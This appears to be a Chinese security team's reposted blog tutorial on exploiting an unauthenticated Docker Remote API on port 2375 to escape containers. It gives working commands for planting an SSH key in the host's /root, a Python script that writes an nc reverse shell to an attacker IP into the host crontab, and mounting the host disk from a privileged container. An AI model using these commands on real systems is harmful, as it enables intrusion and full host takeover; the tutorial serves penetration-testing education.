文章总结: 本文深入分析了DockerRemoteAPI未授权访问漏洞及其导致的容器逃逸与远程代码执行(RCE)风险。文章首先解释了漏洞原理,即Docker守护进程因配置不当而暴露网络端口,允许攻击者未经身份验证即可远程管理容器。随后,详细介绍了三种提权方法:通过挂载宿主机目录写入SSH公钥、利用crontab反弹Shell,以及在特权模式下挂载磁盘实现完全逃逸。每种方法均辅以具体的命令示例和操作步骤,具有很强的实战参考价值。 综合评分: 90 文章分类: 渗透测试,红队,WEB安全,容器安全,安全工具
Docker Remote API未授权访问与逃逸RCE 分析
原创
晨星安全团队 晨星安全团队
晨星安全团队
2026年3月23日 10:22 湖南
Docker Remote API未授权访问逃逸RCE
Docker 是一个提供容器化软件打包和交付的平台即服务(PaaS)解决方案。
漏洞原理
Docker 守护进程(dockerd)提供了一个 REST API,允许远程管理 Docker 容器、镜像和其他资源。
当 Docker 守护进程被配置为监听网络端口(通常是 TCP 端口 2375)且未启用适当的身份验证机制时,攻击者 可以未经授权访问 Docker API,执行 docker 命令。
利用此漏洞,攻击者可以在主机系统上创建、修改和执行容器,可能导致远程代码执行、数据窃取以及完全控制主机系统。
漏洞检测
访问 http://ip:2375/version 发现存在未授权
执行 docker 命令
sudo docker -H tcp://127.0.0.1:2375 images
sudo docker -H tcp://127.0.0.1:2375 ps -a
提权方法
第一种:写入SSH公钥
启动一个容器,挂载宿主机的 /root/目录,之后将攻击者的 SSH 公钥 ~/.ssh/id_rsa.pub 的内容写到入宿主机的 /root/.ssh/authorized_keys 文件中,之后就可以用 root 账户直接登录了
本地获取 SSH 公钥
ssh-keygen -t rsa
将公钥复制到被攻击者的 /root/.ssh/authorized_keys 文件中然后远程连接
第二种:crontab反弹Shell
import docker
client = docker.DockerClient(base_url='http://192.168.X.X:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * */usr/bin/nc 192.168.X.X 1111 -e /bin/sh' >> /tmp/etc/crontabs/root" ''',remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
# 意思是:使用Docker随意启动一个容器,并将宿主机的 /etc 目录挂载到容器中,便可以任意读写文件了
# 可以将命令写入 crontab 配置文件,进行反弹shell
第三种:通过容器
去官方下载一个镜像文件 alpine
docker -H tcp://192.168.241.142:2375 pull alpine
接下来启动容器,并进入 alpine 容器
docker -H tcp://192.168.241.142:2375 images
docker -H tcp://192.168.241.142:2375 run -it --privileged alpine /bin/sh
#在 kali 中启动一个有交互的shell,并且是特权镜像
#当操作者执行 docker run —privileged 时,Docker将允许容器访问宿主机上的所有设备,同时修改AppArmor或SELinux 的配置,使容器拥有与那些直接运行在宿主机上的进程几乎相同的访问权限
进入容器后,使用fdisk -l命令查看磁盘文件
注意:在特权模式下,逃逸的方式很多;比如:直接在容器内部挂载宿主机磁盘,然后切换根目录
从返回的信息中可以判断出,/dev/sda5是主分区,那么接下来直接在容器内部挂载宿主机磁盘
挂在磁盘到新建目录
mkdir /wxiaoge
mount /dev/sda5 /wxiaoge
cd wxiaoge/
touch wxiaoge.txt
接下来看一下靶机中确实创建了wxiaoge.txt文件,docker 逃逸成功
接下来可以反弹主机Shell,创建xxx.sh文件
添加执行权限,并且写入到定时任务中
打开监听端口
一分钟后收到 Shell
作者:晨星安全团队——雾島风起時
团队介绍
晨星安全团队由多个高校毕业生及在校生组建,专注网络安全技术赋能。依托星禾团队技术基底,打造“学-练-赛-聘”闭环体系,提供CTF系统课程、自研靶场、赛事指导及大厂内推资源,构建从入门到就业的实战型人才孵化生态。
无论你是零基础爱好者还是技术达人,欢迎加入我们,共同探索网络安全的无限可能!
-END-
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:晨星安全团队 晨星安全团队 晨星安全团队《Docker Remote API未授权访问与逃逸RCE 分析》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。








评论